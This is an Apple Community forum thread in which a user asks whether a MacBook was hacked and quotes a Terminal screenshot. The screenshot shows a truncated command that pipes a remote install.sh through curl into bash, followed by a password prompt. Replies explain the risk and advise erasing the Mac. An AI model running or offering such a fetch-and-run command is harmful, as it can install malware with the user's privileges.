Was I hacked on My MacBook Pro M3

What is this I found a video on my MacBookbook M3 Pro.. have I been hacked?


Last login: Sat May 24 01:02:37 on ttys000


[checkuser@checkusers-Virtual-Machine ~ % /bin/bash -c "$(curl -fsSL


/release/install.sh)"


System Password: 1111


sh: line 0: disown: current: no such job checkuser@checkusers-Virtual-Machine ~ %



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MacBook Pro (M3 Pro, 2023)

Posted on Feb 15, 2026 2:36 AM

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Feb 15, 2026 11:11 AM in response to trefford

That looks like a command to download and run some arbitrary script from a remote site. It also looks like it asked for, and got, your password - to let it run with elevated privileges.


Who knows what it might have done? I would not enter such a command on my own machine. However, if you were the one who entered the command, you were not “hacked”. You compromised your own security.

Feb 15, 2026 4:03 PM in response to Owl-53

D'oh! Didn't notice the date. 🫢


Which then begs the question, why bring it up now?


If the OP hasn't seen any issues with unknown purchases, bank accounts being drained, or other typical malice, then 10 months later, I wouldn't worry about it.


At least, not that part. I'll still be inclined to nuke 'n' pave to make sure anything that may have been installed is gone.

Feb 15, 2026 3:28 AM in response to trefford

Unless the Hacker has had direct and physical contact with this computer..


They some how been able to guess your Strong Computer Password ( alpa, numeric case sensitivity password )


Then,  planted their backdoor Hacks on the computer


It is not likely the computer was Hacked 


Adware and Malware can affect computers and are often downloaded from “shady” websites or developers who inject them into downloads.


A good sources of this type of softwares are by installing Hacked Version of Third Party Software or via Torrent downloads


Source: User tip from @Kurt Lang


What is malware? - Apple Community


Even so, the macOS operating system resides in a sealed and read-only volume that can’t be opened by users or third-party applications


If you believe the computer has been compromised 


Start Over from Scratch 


Heavy Handed ?  - Yes 


Effective  ? - Yes 


For Apple Silicon computer >> Use Disk Utility to erase a Mac with Apple silicon.


Feb 15, 2026 1:38 PM in response to Kurt Lang

Kurt Lang wrote:

As has been noted, someone sat at your computer while it was unlocked (access to the GUI desktop). Then tried to run a curl command. It appears the password 1111 didn't work as Terminal passed back, no such job.

To me, that alone isn't enough proof nothing happened. I would guess Terminal was left on the screen because whoever this was saw you coming back and didn't have time to close it. But that's just one thing. There's no telling what else this person did while they had direct access.

In context of your above


Is this significant


" Last login : Sat May 26 01:02:37 "


Would seem the Owner Account had been logged in over a year ago


Your thoughts



Feb 15, 2026 12:45 PM in response to trefford

As has been noted, someone sat at your computer while it was unlocked (access to the GUI desktop). Then tried to run a curl command. It appears the password 1111 didn't work as Terminal passed back, no such job.


To me, that alone isn't enough proof nothing happened. I would guess Terminal was left on the screen because whoever this was saw you coming back and didn't have time to close it. But that's just one thing. There's no telling what else this person did while they had direct access.

Feb 15, 2026 4:43 PM in response to Owl-53

Owl-53 wrote:
In context of your above

Is this significant

" Last login : Sat May 26 01:02:37 "

Would seem the Owner Account had been logged in over a year ago

Your thoughts


The following will show login activity:

sudo last


For somebody that doesn’t use Terminal often, the last login time can be antediluvian.


And per the original post, this is a “I found a video” mysteriously-appearing video file question. Not about a login occurring here. Well, not unless somebody then went and tried the commands from the video on themselves. Which could be bad.

Feb 16, 2026 1:01 AM in response to MrHoffman

Had to seek a translation for Antediluvian refers to the time period before the biblical flood described in Genesis 6-8, or more generally, anything extremely old, antiquated, or outmoded. The term stems from Latin ante (before) and diluvium (flood), coined in the 17th century to describe pre-flood conditions and later applied to ancient, primitive, or archaic items. 


My short lived early days in the seminary did not cover this term


lol

Feb 16, 2026 6:03 AM in response to Owl-53

Owl-53 wrote:

Had to seek a translation for Antediluvian refers to the time period before the biblical flood described in Genesis 6-8, or more generally, anything extremely old, antiquated, or outmoded. The term stems from Latin ante (before) and diluvium (flood), coined in the 17th century to describe pre-flood conditions and later applied to ancient, primitive, or archaic items. 

My short lived early days in the seminary did not cover this term

lol


Previous postings discussing claims of hackage, I’ve seen a number of those over the years, often with similarities in text form and text contents and claims, but not any I specifically recall related to this case and this nickname.


I am aware of folks around here that were targeted and did obtain forensics and security assistance via a DFIR provider, as well. Quite rare, but it happens.


My apologies with my earlier choice of obscure verbiage. I try to constrain my sesquipedalian tendencies. 😉

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